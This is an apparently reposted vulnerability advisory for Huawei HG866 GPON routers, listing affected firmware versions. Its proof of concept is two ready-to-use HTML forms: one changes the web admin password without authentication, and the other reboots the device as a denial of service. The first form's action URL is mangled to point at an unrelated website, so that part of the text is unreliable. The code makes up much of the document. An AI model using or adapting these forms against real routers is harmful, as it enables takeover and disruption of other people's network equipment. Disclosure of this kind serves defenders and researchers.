标题: Huawei HG866 Authentication Bypass
作者: hkm
程序开发者: http://www.huawei.com
影响版本: V1R2C01SPC202, R3.2.4.92sbn - R3.4.2.257sbn, 3FE53864AOCB16
测试平台: HG866GTA_VER.C, 01, 02

概要
Huawei HG866 GPON routers don't properly validate the session on every page. It is possible to change the web interface admin password by performing an unauthenticated post directly to the form.
 
测试证明
 
<!--Changes root password --!>
<form name=hg866bypass action=http:// www.2cto.com /html/password.html method=post >
<input name=psw value=password ><input name=reenterpsw value=password >
<input type="submit" name="save" value="Apply" />
</form>
 
<!--Reboots the device --!>
<form name=hg866dos action=http://192.168.100.251/html/admin_reboot.html" method="post">
<input type=submit name=save id=save value=Reboot />
</form>
 
 
 
hkm